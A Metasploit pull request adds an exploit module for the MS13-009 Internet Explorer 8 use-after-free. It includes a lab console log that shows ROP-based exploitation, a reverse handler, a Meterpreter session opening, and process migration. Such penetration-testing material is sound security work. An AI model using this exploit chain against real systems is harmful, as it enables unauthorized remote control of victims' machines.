rapid7/metasploit-framework — pull request #1491 by jjarmoc (2013-02-14 18:06:38+00:00)
Title: MS13-009 ie_slayoutrun_uaf.rb module

Found on Exploit-DB; I'm not the author. The first commit was as it was presented on VulnDB, the second fixes a bug and the third just cleans up line breaks for msftidy.

Confirmed functional w/ IE8 on XP SP3, currently the module's only defined target.

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.56.1:4445
[*] Using URL: http://192.168.56.1:8080/CKoB4HR5
[*] Server started.
msf exploit(ie_slayoutrun_uaf) > [*] 192.168.56.101 ie_slayoutrun_uaf - Requesting: /CKoB4HR5
[*] 192.168.56.101 ie_slayoutrun_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.56.101 ie_slayoutrun_uaf - Sending IFRAME...
[*] 192.168.56.101 ie_slayoutrun_uaf - Requesting: /CKoB4HR5/GKtZc.html
[*] 192.168.56.101 ie_slayoutrun_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.56.101 ie_slayoutrun_uaf - Using msvcrt ROP
[*] 192.168.56.101 ie_slayoutrun_uaf - Sending HTML...
[*] 192.168.56.101 ie_slayoutrun_uaf - Requesting: /CKoB4HR5/GKtZc.html
[*] 192.168.56.101 ie_slayoutrun_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.56.101 ie_slayoutrun_uaf - Using msvcrt ROP
[*] 192.168.56.101 ie_slayoutrun_uaf - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.56.101
[*] Meterpreter session 2 opened (192.168.56.1:4445 -> 192.168.56.101:1185) at 2013-02-14 11:43:22 -0600
[*] Session ID 2 (192.168.56.1:4445 -> 192.168.56.101:1185) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3468)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 488
[+] Successfully migrated to process